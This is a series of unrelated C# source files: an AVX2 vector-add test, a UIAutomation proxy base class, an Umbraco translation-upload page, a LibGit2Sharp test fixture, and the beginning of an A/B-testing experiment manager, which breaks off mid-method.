[CallerMemberName] string method = "") { bool succeeded = true; if ((long)(left[0] + right[0]) != result[0]) { succeeded = false; } else { for (var i = 1; i < RetElementCount; i++) { if ((long)(left[i] + right[i]) != result[i]) { succeeded = false; break; } } } if (!succeeded) { TestLibrary.TestFramework.LogInformation($"{nameof(Avx2)}.{nameof(Avx2.Add)}<Int64>(Vector256<Int64>, Vector256<Int64>): {method} failed:"); TestLibrary.TestFramework.LogInformation($" left: ({string.Join(", ", left)})"); TestLibrary.TestFramework.LogInformation($" right: ({string.Join(", ", right)})"); TestLibrary.TestFramework.LogInformation($" result: ({string.Join(", ", result)})"); TestLibrary.TestFramework.LogInformation(string.Empty); Succeeded = false; } } } }
//--------------------------------------------------------------------------- // // <copyright file="ProxyFragment.cs" company="Microsoft"> // Copyright (C) Microsoft Corporation. All rights reserved. // </copyright> // // // Description: Base class for all the Win32 and office Controls. // // The ProxyFragment class is the base class for NODES in the // element tree that are not hwnd based in the case of Win32 controls (e.g. ListViewItem) // // The UIAutomation internal provider does not allow for a node to // iterate through its children. // The ProxyFragment class removes this limitation. // // Class ProxyFragment: // ProxySimple - methods // ElementProviderFromPoint // GetFocus // // // NOTE: ProxyFragment is responsible for hit-testing on its children, since UIAutomation // will not call ElementProviderFromPoint on the Fragment! // // Here are the easy steps for drilling down: // UIAutomation will call ProxyHwnd.ElementProviderFromPoint automatically, // you (implementer) should do a hit test on ProxyHwnd's immediate children only. // If hit-test succeeds and element that you got is ProxyFragment // call ProxyFragment.DrillDownIntoFragment(fragment, x, y) // Each ProxyFragment should implement ElementProviderFromPoint; this method will be used by // DrillDownIntoFragment to drill into the hierarchy of any depth. // Note: You can implement all the drilling down "locally" in your ProxyHwnd.ElementProviderFromPoint, // but it is strongly suggested to do it as described above, so we'll have a generic solution that always works // // // History: // 07/01/2003 : a-jeanp Created // 08/21/2003: alexsn ElementProviderFromPoint corrections // //--------------------------------------------------------------------------- using System; using System.Windows.Automation; using System.Windows.Automation.Provider; using System.ComponentModel; using System.Collections; using System.Runtime.InteropServices; namespace MS.Internal.AutomationProxies { // Base Class for all the Windows Control that supports navigation. // Implements the default behaviors class ProxyFragment : ProxySimple, IRawElementProviderFragmentRoot { // ------------------------------------------------------ // // Constructors // // ------------------------------------------------------ #region Constructors internal ProxyFragment (IntPtr hwnd, ProxyFragment parent, int item) : base (hwnd, parent, item) {} #endregion // ------------------------------------------------------ // // Patterns Implementation // // ------------------------------------------------------ #region ProxyFragment Methods // ------------------------------------------------------ // // Default implementation for ProxyFragment members // // ------------------------------------------------------ // Next Silbing: assumes none, must be overloaded by a subclass if any // The method is called on the parent with a reference to the child. // This makes the implementation a lot more clean than the UIAutomation call internal virtual ProxySimple GetNextSibling (ProxySimple child) { return null; } // Prev Silbing: assumes none, must be overloaded by a subclass if any // The method is called on the parent with a reference to the child. // This makes the implementation a lot more clean than the UIAutomation call internal virtual ProxySimple GetPreviousSibling (ProxySimple child) { return null; } // GetFirstChild: assumes none, must be overloaded by a subclass if any internal virtual ProxySimple GetFirstChild () { return null; } // GetLastChild: assumes none, must be overloaded by a subclass if any internal virtual ProxySimple GetLastChild () { return null; } // Returns a Proxy element corresponding to the specified screen coordinates. // In the derived class implement this method to do fragment specific drill down (if needed) // Fragment should drill down only among its immediate children. internal virtual ProxySimple ElementProviderFromPoint (int x, int y) { return this; } // Returns an item corresponding to the focused element (if there is one), or null otherwise. internal virtual ProxySimple GetFocus () { return this is ProxyHwnd ? this : null; } #endregion #region IRawElementProviderFragmentRoot Interface // NOTE: This method should only be called (by Proxy or/and UIAutomation) on Proxies of type // ProxyHwnd. Anything else indicates a problem IRawElementProviderFragment IRawElementProviderFragmentRoot.ElementProviderFromPoint (double x, double y) { System.Diagnostics.Debug.Assert(this is ProxyHwnd, "Invalid method called ElementProviderFromPoint"); // Do the proper rounding. return ElementProviderFromPoint ((int) (x + 0.5), (int) (y + 0.5)); } IRawElementProviderFragment IRawElementProviderFragmentRoot.GetFocus () { return GetFocus (); } #endregion #region IRawElementProviderFragment Interface // Request to return the element in the specified direction IRawElementProviderFragment IRawElementProviderFragment.Navigate(NavigateDirection direction) { switch (direction) { case NavigateDirection.NextSibling : { // NOTE: Do not use GetParent(), call _parent explicitly return _fSubTree ? _parent.GetNextSibling (this) : null; } case NavigateDirection.PreviousSibling : { // NOTE: Do not use GetParent(), call _parent explicitly return _fSubTree ? _parent.GetPreviousSibling (this) : null; } case NavigateDirection.FirstChild : { return GetFirstChild (); } case NavigateDirection.LastChild : { return GetLastChild (); } case NavigateDirection.Parent : { return GetParent (); } default : { return null; } } } #endregion //------------------------------------------------------ // // Internal Methods // //------------------------------------------------------ #region Internal Methods // Recursively Raise an Event for all the sub elements override internal void RecursiveRaiseEvents (object idProp, AutomationPropertyChangedEventArgs e) { AutomationInteropProvider.RaiseAutomationPropertyChangedEvent (this, e); for (ProxySimple el = GetFirstChild (); el != null; el = this.GetNextSibling (el)) { el.RecursiveRaiseEvents (idProp, e); } } #endregion //------------------------------------------------------ // // Protected Methods // //------------------------------------------------------ #region Protected Methods // This method will return the leaf element that lives in ProxyFragment at Point(x,y) static internal ProxySimple DrillDownFragment(ProxyFragment fragment, int x, int y) { System.Diagnostics.Debug.Assert(fragment != null, "DrillDownFragment: starting point is null"); // drill down ProxySimple fromPoint = fragment.ElementProviderFromPoint(x, y); System.Diagnostics.Debug.Assert(fromPoint != null, @"DrillDownFragment: calling ElementProviderFromPoint on Fragment should not return null"); // Check if we got back a new fragment // do this check before trying to cast to ProxyFragment if (fragment == fromPoint || Misc.Compare(fragment, fromPoint)) { // Point was on the fragment // but not on any element that lives inside of the fragment return fragment; } fragment = fromPoint as ProxyFragment; if (fragment == null) { // we got back a simple element return fromPoint; } // Got a new fragment, continue drilling return DrillDownFragment(fragment, x, y); } #endregion } }
using System; using System.Data; using System.IO; using System.Text; using System.Xml; using Umbraco.Core.Configuration; using Umbraco.Web; using umbraco.BasePages; using umbraco.BusinessLogic; using umbraco.BusinessLogic.Actions; using umbraco.cms.businesslogic.task; using umbraco.cms.businesslogic.web; using Umbraco.Core.IO; using System.Collections.Generic; namespace umbraco.presentation.translation { public partial class _default : UmbracoEnsuredPage { public _default() { CurrentApp = DefaultApps.translation.ToString(); } protected void Page_Load(object sender, EventArgs e) { DataTable tasks = new DataTable(); tasks.Columns.Add("Id"); tasks.Columns.Add("Date"); tasks.Columns.Add("NodeId"); tasks.Columns.Add("NodeName"); tasks.Columns.Add("ReferingUser"); tasks.Columns.Add("Language"); taskList.Columns[0].HeaderText = ui.Text("nodeName"); taskList.Columns[1].HeaderText = ui.Text("translation", "taskAssignedBy"); taskList.Columns[2].HeaderText = ui.Text("date"); ((System.Web.UI.WebControls.HyperLinkField)taskList.Columns[3]).Text = ui.Text("translation", "details"); ((System.Web.UI.WebControls.HyperLinkField)taskList.Columns[4]).Text = ui.Text("translation", "downloadTaskAsXml"); Tasks ts = new Tasks(); if (Request["mode"] == "owned") { ts = Task.GetOwnedTasks(base.getUser(), false); pane_tasks.Text = ui.Text("translation", "ownedTasks"); Panel2.Text = ui.Text("translation", "ownedTasks"); } else { ts = Task.GetTasks(base.getUser(), false); pane_tasks.Text = ui.Text("translation", "assignedTasks"); Panel2.Text = ui.Text("translation", "assignedTasks"); } uploadFile.Text = ui.Text("upload"); pane_uploadFile.Text = ui.Text("translation", "uploadTranslationXml"); foreach (Task t in ts) { if (t.Type.Alias == "toTranslate") { DataRow task = tasks.NewRow(); task["Id"] = t.Id; task["Date"] = t.Date; task["NodeId"] = t.Node.Id; task["NodeName"] = t.Node.Text; task["ReferingUser"] = t.ParentUser.Name; tasks.Rows.Add(task); } } taskList.DataSource = tasks; taskList.DataBind(); feedback.Style.Add("margin-top", "10px"); } protected void uploadFile_Click(object sender, EventArgs e) { // Save temp file if (translationFile.PostedFile != null) { string tempFileName; if (translationFile.PostedFile.FileName.ToLower().Contains(".zip")) tempFileName = IOHelper.MapPath(SystemDirectories.Data + "/" + "translationFile_" + Guid.NewGuid().ToString() + ".zip"); else tempFileName = IOHelper.MapPath(SystemDirectories.Data + "/" + "translationFile_" + Guid.NewGuid().ToString() + ".xml"); translationFile.PostedFile.SaveAs(tempFileName); // xml or zip file if (new FileInfo(tempFileName).Extension.ToLower() == ".zip") { // Zip Directory string tempPath = IOHelper.MapPath(SystemDirectories.Data + "/" + "translationFiles_" + Guid.NewGuid().ToString()); // Add the path to the zipfile to viewstate ViewState.Add("zipFile", tempPath); // Unpack the zip file cms.businesslogic.utilities.Zip.UnPack(tempFileName, tempPath, true); // Test the number of xml files try { StringBuilder sb = new StringBuilder(); foreach (FileInfo translationFileXml in new DirectoryInfo(ViewState["zipFile"].ToString()).GetFiles("*.xml")) { try { foreach (Task translation in ImportTranslatationFile(translationFileXml.FullName)) { sb.Append("<li>" + translation.Node.Text + " <a target=\"_blank\" href=\"preview.aspx?id=" + translation.Id + "\">" + ui.Text("preview") + "</a></li>"); } } catch (Exception ee) { sb.Append("<li style=\"color: red;\">" + ee.ToString() + "</li>"); } } feedback.type = global::umbraco.uicontrols.Feedback.feedbacktype.success; feedback.Text = "<h3>" + ui.Text("translation", "MultipleTranslationDone") + "</h3><p>" + ui.Text("translation", "translationDoneHelp") + "</p><ul>" + sb.ToString() + "</ul>"; } catch (Exception ex) { feedback.type = global::umbraco.uicontrols.Feedback.feedbacktype.error; feedback.Text = "<h3>" + ui.Text("translation", "translationFailed") + "</h3><p>" + ex.ToString() + "</>"; } } else { StringBuilder sb = new StringBuilder(); List<Task> l = ImportTranslatationFile(tempFileName); if (l.Count == 1) { feedback.type = global::umbraco.uicontrols.Feedback.feedbacktype.success; feedback.Text = "<h3>" + ui.Text("translation", "translationDone") + "</h3><p>" + ui.Text("translation", "translationDoneHelp") + "</p><p><a target=\"_blank\" href=\"preview.aspx?id=" + l[0].Id + "\">" + ui.Text("preview") + "</a></p>"; } else { foreach (Task t in l) { sb.Append("<li>" + t.Node.Text + " <a target=\"_blank\" href=\"preview.aspx?id=" + t.Id + "\">" + ui.Text("preview") + "</a></li>"); } feedback.type = global::umbraco.uicontrols.Feedback.feedbacktype.success; feedback.Text = "<h3>" + ui.Text("translation", "MultipleTranslationDone") + "</h3><p>" + ui.Text("translation", "translationDoneHelp") + "</p><ul>" + sb.ToString() + "</ul>"; } } // clean up File.Delete(tempFileName); } } private List<Task> ImportTranslatationFile(string tempFileName) { try { List<Task> tl = new List<Task>(); // open file XmlDocument tf = new XmlDocument(); tf.XmlResolver = null; tf.Load(tempFileName); // Get task xml node XmlNodeList tasks = tf.SelectNodes("//task"); foreach (XmlNode taskXml in tasks) { string xpath = UmbracoConfig.For.UmbracoSettings().Content.UseLegacyXmlSchema ? "node" : "* [@isDoc]"; XmlNode taskNode = taskXml.SelectSingleNode(xpath); // validate file Task t = new Task(int.Parse(taskXml.Attributes.GetNamedItem("Id").Value)); if (t != null) { //user auth and content node validation if (t.Node.Id == int.Parse(taskNode.Attributes.GetNamedItem("id").Value) && (t.User.Id == UmbracoUser.Id || t.ParentUser.Id == UmbracoUser.Id)) { // update node contents var d = new Document(t.Node.Id); Document.Import(d.ParentId, UmbracoUser, (XmlElement)taskNode); //send notifications! TODO: This should be put somewhere centralized instead of hard coded directly here ApplicationContext.Services.NotificationService.SendNotification(d.ContentEntity, ActionTranslate.Instance, ApplicationContext); t.Closed = true; t.Save(); tl.Add(t); } } } return tl; } catch (Exception ee) { throw new Exception("Error importing translation file '" + tempFileName + "': " + ee.ToString()); } } } }
using System; using System.Collections.Generic; using System.Diagnostics; using System.Globalization; using System.IO; using System.Linq; using System.Reflection; using System.Text; using System.Text.RegularExpressions; using Xunit; namespace LibGit2Sharp.Tests.TestHelpers { public class BaseFixture : IPostTestDirectoryRemover, IDisposable { private readonly List<string> directories = new List<string>(); public BaseFixture() { BuildFakeConfigs(this); #if LEAKS_IDENTIFYING Core.LeaksContainer.Clear(); #endif } static BaseFixture() { // Do the set up in the static ctor so it only happens once SetUpTestEnvironment(); } public static string BareTestRepoPath { get; private set; } public static string StandardTestRepoWorkingDirPath { get; private set; } public static string StandardTestRepoPath { get; private set; } public static string ShallowTestRepoPath { get; private set; } public static string MergedTestRepoWorkingDirPath { get; private set; } public static string MergeTestRepoWorkingDirPath { get; private set; } public static string MergeRenamesTestRepoWorkingDirPath { get; private set; } public static string RevertTestRepoWorkingDirPath { get; private set; } public static string SubmoduleTestRepoWorkingDirPath { get; private set; } private static string SubmoduleTargetTestRepoWorkingDirPath { get; set; } private static string AssumeUnchangedRepoWorkingDirPath { get; set; } public static string SubmoduleSmallTestRepoWorkingDirPath { get; set; } public static string WorktreeTestRepoWorkingDirPath { get; private set; } public static string WorktreeTestRepoWorktreesDirPath { get; private set; } public static string PackBuilderTestRepoPath { get; private set; } public static DirectoryInfo ResourcesDirectory { get; private set; } public static bool IsFileSystemCaseSensitive { get; private set; } protected static DateTimeOffset TruncateSubSeconds(DateTimeOffset dto) { var seconds = dto.ToUnixTimeSeconds(); return DateTimeOffset.FromUnixTimeSeconds(seconds).ToOffset(dto.Offset); } private static void SetUpTestEnvironment() { IsFileSystemCaseSensitive = IsFileSystemCaseSensitiveInternal(); var resourcesPath = Environment.GetEnvironmentVariable("LIBGIT2SHARP_RESOURCES"); if (resourcesPath == null) { #if NETFRAMEWORK resourcesPath = Path.Combine(Directory.GetParent(new Uri(typeof(BaseFixture).GetTypeInfo().Assembly.CodeBase).LocalPath).FullName, "Resources"); #else resourcesPath = Path.Combine(Directory.GetParent(typeof(BaseFixture).GetTypeInfo().Assembly.Location).FullName, "Resources"); #endif } ResourcesDirectory = new DirectoryInfo(resourcesPath); // Setup standard paths to our test repositories BareTestRepoPath = Path.Combine(ResourcesDirectory.FullName, "testrepo.git"); StandardTestRepoWorkingDirPath = Path.Combine(ResourcesDirectory.FullName, "testrepo_wd"); StandardTestRepoPath = Path.Combine(StandardTestRepoWorkingDirPath, "dot_git"); ShallowTestRepoPath = Path.Combine(ResourcesDirectory.FullName, "shallow.git"); MergedTestRepoWorkingDirPath = Path.Combine(ResourcesDirectory.FullName, "mergedrepo_wd"); MergeRenamesTestRepoWorkingDirPath = Path.Combine(ResourcesDirectory.FullName, "mergerenames_wd"); MergeTestRepoWorkingDirPath = Path.Combine(ResourcesDirectory.FullName, "merge_testrepo_wd"); RevertTestRepoWorkingDirPath = Path.Combine(ResourcesDirectory.FullName, "revert_testrepo_wd"); SubmoduleTestRepoWorkingDirPath = Path.Combine(ResourcesDirectory.FullName, "submodule_wd"); SubmoduleTargetTestRepoWorkingDirPath = Path.Combine(ResourcesDirectory.FullName, "submodule_target_wd"); AssumeUnchangedRepoWorkingDirPath = Path.Combine(ResourcesDirectory.FullName, "assume_unchanged_wd"); SubmoduleSmallTestRepoWorkingDirPath = Path.Combine(ResourcesDirectory.FullName, "submodule_small_wd"); PackBuilderTestRepoPath = Path.Combine(ResourcesDirectory.FullName, "packbuilder_testrepo_wd"); WorktreeTestRepoWorkingDirPath = Path.Combine(ResourcesDirectory.FullName, "worktree", "testrepo_wd"); WorktreeTestRepoWorktreesDirPath = Path.Combine(ResourcesDirectory.FullName, "worktree", "worktrees"); CleanupTestReposOlderThan(TimeSpan.FromMinutes(15)); } public static void BuildFakeConfigs(IPostTestDirectoryRemover dirRemover) { var scd = new SelfCleaningDirectory(dirRemover); string global = null, xdg = null, system = null, programData = null; BuildFakeRepositoryOptions(scd, out global, out xdg, out system, out programData); StringBuilder sb = new StringBuilder() .AppendFormat("[Woot]{0}", Environment.NewLine) .AppendFormat("this-rocks = global{0}", Environment.NewLine) .AppendFormat("[Wow]{0}", Environment.NewLine) .AppendFormat("Man-I-am-totally-global = 42{0}", Environment.NewLine); File.WriteAllText(Path.Combine(global, ".gitconfig"), sb.ToString()); sb = new StringBuilder() .AppendFormat("[Woot]{0}", Environment.NewLine) .AppendFormat("this-rocks = system{0}", Environment.NewLine); File.WriteAllText(Path.Combine(system, "gitconfig"), sb.ToString()); sb = new StringBuilder() .AppendFormat("[Woot]{0}", Environment.NewLine) .AppendFormat("this-rocks = xdg{0}", Environment.NewLine); File.WriteAllText(Path.Combine(xdg, "config"), sb.ToString()); sb = new StringBuilder() .AppendFormat("[Woot]{0}", Environment.NewLine) .AppendFormat("this-rocks = programdata{0}", Environment.NewLine); File.WriteAllText(Path.Combine(programData, "config"), sb.ToString()); GlobalSettings.SetConfigSearchPaths(ConfigurationLevel.Global, global); GlobalSettings.SetConfigSearchPaths(ConfigurationLevel.Xdg, xdg); GlobalSettings.SetConfigSearchPaths(ConfigurationLevel.System, system); GlobalSettings.SetConfigSearchPaths(ConfigurationLevel.ProgramData, programData); } private static void CleanupTestReposOlderThan(TimeSpan olderThan) { var oldTestRepos = new DirectoryInfo(Constants.TemporaryReposPath) .EnumerateDirectories() .Where(di => di.CreationTimeUtc < DateTimeOffset.Now.Subtract(olderThan)) .Select(di => di.FullName); foreach (var dir in oldTestRepos) { DirectoryHelper.DeleteDirectory(dir); } } private static bool IsFileSystemCaseSensitiveInternal() { var mixedPath = Path.Combine(Constants.TemporaryReposPath, "mIxEdCase-" + Path.GetRandomFileName()); if (Directory.Exists(mixedPath)) { Directory.Delete(mixedPath); } Directory.CreateDirectory(mixedPath); bool isInsensitive = Directory.Exists(mixedPath.ToLowerInvariant()); Directory.Delete(mixedPath); return !isInsensitive; } protected void CreateCorruptedDeadBeefHead(string repoPath) { const string deadbeef = "deadbeef"; string headPath = string.Format("refs/heads/{0}", deadbeef); Touch(repoPath, headPath, string.Format("{0}{0}{0}{0}{0}\n", deadbeef)); } protected SelfCleaningDirectory BuildSelfCleaningDirectory() { return new SelfCleaningDirectory(this); } protected SelfCleaningDirectory BuildSelfCleaningDirectory(string path) { return new SelfCleaningDirectory(this, path); } protected string SandboxBareTestRepo() { return Sandbox(BareTestRepoPath); } protected string SandboxStandardTestRepo() { return Sandbox(StandardTestRepoWorkingDirPath); } protected string SandboxMergedTestRepo() { return Sandbox(MergedTestRepoWorkingDirPath); } protected string SandboxStandardTestRepoGitDir() { return Sandbox(Path.Combine(StandardTestRepoWorkingDirPath)); } protected string SandboxMergeTestRepo() { return Sandbox(MergeTestRepoWorkingDirPath); } protected string SandboxRevertTestRepo() { return Sandbox(RevertTestRepoWorkingDirPath); } public string SandboxSubmoduleTestRepo() { return Sandbox(SubmoduleTestRepoWorkingDirPath, SubmoduleTargetTestRepoWorkingDirPath); } public string SandboxAssumeUnchangedTestRepo() { return Sandbox(AssumeUnchangedRepoWorkingDirPath); } public string SandboxSubmoduleSmallTestRepo() { var path = Sandbox(SubmoduleSmallTestRepoWorkingDirPath, SubmoduleTargetTestRepoWorkingDirPath); Directory.CreateDirectory(Path.Combine(path, "submodule_target_wd")); return path; } public string SandboxWorktreeTestRepo() { return Sandbox(WorktreeTestRepoWorkingDirPath, WorktreeTestRepoWorktreesDirPath); } protected string SandboxPackBuilderTestRepo() { return Sandbox(PackBuilderTestRepoPath); } protected string Sandbox(string sourceDirectoryPath, params string[] additionalSourcePaths) { var scd = BuildSelfCleaningDirectory(); var source = new DirectoryInfo(sourceDirectoryPath); var clonePath = Path.Combine(scd.DirectoryPath, source.Name); DirectoryHelper.CopyFilesRecursively(source, new DirectoryInfo(clonePath)); foreach (var additionalPath in additionalSourcePaths) { var additional = new DirectoryInfo(additionalPath); var targetForAdditional = Path.Combine(scd.DirectoryPath, additional.Name); DirectoryHelper.CopyFilesRecursively(additional, new DirectoryInfo(targetForAdditional)); } return clonePath; } protected string InitNewRepository(bool isBare = false) { SelfCleaningDirectory scd = BuildSelfCleaningDirectory(); return Repository.Init(scd.DirectoryPath, isBare); } public void Register(string directoryPath) { directories.Add(directoryPath); } public virtual void Dispose() { foreach (string directory in directories) { DirectoryHelper.DeleteDirectory(directory); } #if LEAKS_IDENTIFYING GC.Collect(); GC.WaitForPendingFinalizers(); if (Core.LeaksContainer.TypeNames.Any()) { Assert.False(true, string.Format("Some handles of the following types haven't been properly released: {0}.{1}" + "In order to get some help fixing those leaks, uncomment the define LEAKS_TRACKING in Libgit2Object.cs{1}" + "and run the tests locally.", string.Join(", ", Core.LeaksContainer.TypeNames), Environment.NewLine)); } #endif } protected static void InconclusiveIf(Func<bool> predicate, string message) { if (!predicate()) { return; } throw new SkipException(message); } protected void RequiresDotNetOrMonoGreaterThanOrEqualTo(System.Version minimumVersion) { Type type = Type.GetType("Mono.Runtime"); if (type == null) { // We're running on top of .Net return; } MethodInfo displayName = type.GetMethod("GetDisplayName", BindingFlags.NonPublic | BindingFlags.Static); if (displayName == null) { throw new InvalidOperationException("Cannot access Mono.RunTime.GetDisplayName() method."); } var version = (string)displayName.Invoke(null, null); System.Version current; try { current = new System.Version(version.Split(' ')[0]); } catch (Exception e) { throw new Exception(string.Format("Cannot parse Mono version '{0}'.", version), e); } InconclusiveIf(() => current < minimumVersion, string.Format( "Current Mono version is {0}. Minimum required version to run this test is {1}.", current, minimumVersion)); } protected static void AssertValueInConfigFile(string configFilePath, string regex) { var text = File.ReadAllText(configFilePath); var r = new Regex(regex, RegexOptions.Multiline).Match(text); Assert.True(r.Success, text); } private static void BuildFakeRepositoryOptions(SelfCleaningDirectory scd, out string global, out string xdg, out string system, out string programData) { string confs = Path.Combine(scd.DirectoryPath, "confs"); Directory.CreateDirectory(confs); global = Path.Combine(confs, "my-global-config"); Directory.CreateDirectory(global); xdg = Path.Combine(confs, "my-xdg-config"); Directory.CreateDirectory(xdg); system = Path.Combine(confs, "my-system-config"); Directory.CreateDirectory(system); programData = Path.Combine(confs, "my-programdata-config"); Directory.CreateDirectory(programData); } /// <summary> /// Creates a configuration file with user.name and user.email set to signature /// </summary> /// <remarks>The configuration file will be removed automatically when the tests are finished</remarks> /// <param name="identity">The identity to use for user.name and user.email</param> /// <returns>The path to the configuration file</returns> protected void CreateConfigurationWithDummyUser(Repository repo, Identity identity) { CreateConfigurationWithDummyUser(repo, identity.Name, identity.Email); } protected void CreateConfigurationWithDummyUser(Repository repo, string name, string email) { Configuration config = repo.Config; { if (name != null) { config.Set("user.name", name); } if (email != null) { config.Set("user.email", email); } } } /// <summary> /// Asserts that the commit has been authored and committed by the specified signature /// </summary> /// <param name="commit">The commit</param> /// <param name="identity">The identity to compare author and commiter to</param> protected void AssertCommitIdentitiesAre(Commit commit, Identity identity) { Assert.Equal(identity.Name, commit.Author.Name); Assert.Equal(identity.Email, commit.Author.Email); Assert.Equal(identity.Name, commit.Committer.Name); Assert.Equal(identity.Email, commit.Committer.Email); } protected static string Touch(string parent, string file, string content = null, Encoding encoding = null) { string filePath = Path.Combine(parent, file); string dir = Path.GetDirectoryName(filePath); Debug.Assert(dir != null); var newFile = !File.Exists(filePath); Directory.CreateDirectory(dir); File.WriteAllText(filePath, content ?? string.Empty, encoding ?? Encoding.ASCII); //Workaround for .NET Core 1.x behavior where all newly created files have execute permissions set. //https://github.com/dotnet/corefx/issues/13342 if (Constants.IsRunningOnUnix && newFile) { RemoveExecutePermissions(filePath, newFile); } return filePath; } protected static string Touch(string parent, string file, Stream stream) { Debug.Assert(stream != null); string filePath = Path.Combine(parent, file); string dir = Path.GetDirectoryName(filePath); Debug.Assert(dir != null); var newFile = !File.Exists(filePath); Directory.CreateDirectory(dir); using (var fs = File.Open(filePath, FileMode.Create)) { CopyStream(stream, fs); fs.Flush(); } //Work around .NET Core 1.x behavior where all newly created files have execute permissions set. //https://github.com/dotnet/corefx/issues/13342 if (Constants.IsRunningOnUnix && newFile) { RemoveExecutePermissions(filePath, newFile); } return filePath; } private static void RemoveExecutePermissions(string filePath, bool newFile) { var process = Process.Start("chmod", $"644 {filePath}"); process.WaitForExit(); } protected string Expected(string filename) { return File.ReadAllText(Path.Combine(ResourcesDirectory.FullName, "expected/" + filename)); } protected string Expected(string filenameFormat, params object[] args) { return Expected(string.Format(CultureInfo.InvariantCulture, filenameFormat, args)); } protected static void AssertRefLogEntry(IRepository repo, string canonicalName, string message, ObjectId @from, ObjectId to, Identity committer, DateTimeOffset before) { var reflogEntry = repo.Refs.Log(canonicalName).First(); Assert.Equal(to, reflogEntry.To); Assert.Equal(message, reflogEntry.Message); Assert.Equal(@from ?? ObjectId.Zero, reflogEntry.From); Assert.Equal(committer.Email, reflogEntry.Committer.Email); // When verifying the timestamp range, give a little more room on the 'before' side. // Git or file system datetime truncation seems to cause these stamps to jump up to a second earlier // than we expect. See https://github.com/libgit2/libgit2sharp/issues/1764 Assert.InRange(reflogEntry.Committer.When, before - TimeSpan.FromSeconds(1), DateTimeOffset.Now); } protected static void EnableRefLog(IRepository repository, bool enable = true) { repository.Config.Set("core.logAllRefUpdates", enable); } public static void CopyStream(Stream input, Stream output) { // Reused from the following Stack Overflow post with permission // of Jon Skeet (obtained on 25 Feb 2013) // http://stackoverflow.com/questions/411592/how-do-i-save-a-stream-to-a-file/411605#411605 var buffer = new byte[8 * 1024]; int len; while ((len = input.Read(buffer, 0, buffer.Length)) > 0) { output.Write(buffer, 0, len); } } public static bool StreamEquals(Stream one, Stream two) { int onebyte, twobyte; while ((onebyte = one.ReadByte()) >= 0 && (twobyte = two.ReadByte()) >= 0) { if (onebyte != twobyte) return false; } return true; } public void AssertBelongsToARepository<T>(IRepository repo, T instance) where T : IBelongToARepository { Assert.Same(repo, ((IBelongToARepository)instance).Repository); } protected void CreateAttributesFile(IRepository repo, string attributeEntry) { Touch(repo.Info.WorkingDirectory, ".gitattributes", attributeEntry); } } }
using System; using System.Web; using Mtelligent.Configuration; using Mtelligent.Data; using System.Configuration; using Mtelligent.Entities; using System.Threading; using System.Collections.Generic; using System.Linq; using System.Text; namespace Mtelligent.Web { /// <summary> /// Facade for Experiment Testing /// </summary> public class ExperimentManager { #region external Methods /// <summary> /// Need to call this in Constructor of Application/Global ASAX to hook into Request Events /// </summary> /// <param name="app"></param> public void Initialize(HttpApplication app) { app.PreRequestHandlerExecute += InitializeRequest; app.PreSendRequestHeaders += FinalizeRequest; } public void AddConversion(string goalName) { //get goal var goal = _visitProvider.GetGoal(goalName); CurrentVisitor.Request.Conversions.Add(goal); CurrentVisitor.Conversions.Add(goal); } public string RenderConversionScripts() { return GetConversionScripts(CurrentVisitor.Conversions); } public void AddVisitorAttribute(string key, string value) { if (CurrentVisitor.Attributes == null) { CurrentVisitor.Attributes = new Dictionary<string, string>(); } if (CurrentVisitor.Request.Attributes == null) { CurrentVisitor.Request.Attributes = new Dictionary<string, string>(); } if (CurrentVisitor.Attributes.ContainsKey(key)) { if (value != CurrentVisitor.Attributes[key]) { throw new ArgumentException("Can't add duplicate key to Visitor Attributes."); } return; } CurrentVisitor.Attributes.Add(key, value); CurrentVisitor.Request.Attributes.Add(key, value); } public void RemoveVisitorAttribute(string key) { if (CurrentVisitor != null) { if (CurrentVisitor.AttributesLoaded && CurrentVisitor.Attributes.ContainsKey(key)) { CurrentVisitor.Attributes.Remove(key); } if (CurrentVisitor.Request.Attributes != null && CurrentVisitor.Request.Attributes.ContainsKey(key)) { CurrentVisitor.Request.Attributes.Remove(key); } _visitProvider.RemoveVisitorAttribute(CurrentVisitor, key); } } public bool IsVisitorInCohort(string cohortSystemName) { var cohort = _visitProvider.GetCohort(cohortSystemName); if (cohort != null) { validateAndLoadVisitor(); return cohort.IsInCohort(CurrentVisitor); } return false; } public ExperimentSegment GetHypothesis(string experimentName) { //get experiment from DB var experiment = getExperiment(experimentName); if (!string.IsNullOrEmpty(HttpContext.Current.Request["Hypothesis"])) { var overrideSegment = experiment.Segments.FirstOrDefault(a => a.SystemName == HttpContext.Current.Request["Hypothesis"]); if (overrideSegment != null) { return overrideSegment; } } validateAndLoadVisitor(); return GetHypothesis(experiment, CurrentVisitor); } /// <summary> /// Mostly for testing, allows you to specify experiment and visitor properties. /// </summary> /// <param name="experiment"></param> /// <param name="visitor"></param> /// <returns></returns> public ExperimentSegment GetHypothesis(Experiment experiment, Visitor visitor) { //See if user has current segments loaded. if (!visitor.IsNew && !visitor.ExperimentSegmentsLoaded) { visitor = _visitProvider.GetSegments(visitor); visitor.ExperimentSegmentsLoaded = true; } var existingSegment = visitor.ExperimentSegments.FirstOrDefault(a => a.ExperimentId == experiment.Id); if (existingSegment != null) { return existingSegment; } //check if user is in cohort. if (userIsInCohort(visitor, experiment.TargetCohort)) { //Randomly select a segment int randNum = _random.Next(1, 100); double counter = 0; foreach (var segment in experiment.Segments) { if (segment.TargetPercentage != 0) { if (counter + segment.TargetPercentage >= randNum) { visitor.Request.ExperimentSegments.Add(segment); visitor.ExperimentSegments.Add(segment); return segment; } counter += segment.TargetPercentage; } } } else { //Get Default Segment return experiment.Segments.FirstOrDefault(a => a.IsDefault); } return null; } #endregion #region Singleton Implementation private static ExperimentManager _instance = new ExperimentManager(); private ExperimentManager() { _config = (MtelligentSection)ConfigurationManager.GetSection(sectionName); DataProviderFactory factory = new DataProviderFactory(_config); _visitProvider = factory.CreateProvider(); } public static ExperimentManager Current { get { return _instance; } } #endregion #region static properties private static MtelligentSection _config; private static IMtelligentRepository _visitProvider; private static Random _random = new Random(); private const string currentVisitorKey = "Mtelligent.CurrentVisitor"; private const string sectionName = "Mtelligent"; /// <summary> /// Cache of experiments so we dont have to get each one more than once. /// May need to change to more flexible cache /// </summary> private static Dictionary<string, Experiment> experiments = new Dictionary<string, Experiment>(); #endregion #region Context Methods /// <summary> /// Internal to prevent consumers of API /// from modified Visitor Properties as they /// shoudl managed by this framework. /// Will drive off of context or session depending on configuration. /// </summary> internal Visitor CurrentVisitor { get { if (_config.Web.UseSession) { return HttpContext.Current.Session[currentVisitorKey] as Visitor; } else { return HttpContext.Current.Items[currentVisitorKey] as Visitor; } } set { if (_config.Web.UseSession) { HttpContext.Current.Session[currentVisitorKey] = value; } else { if 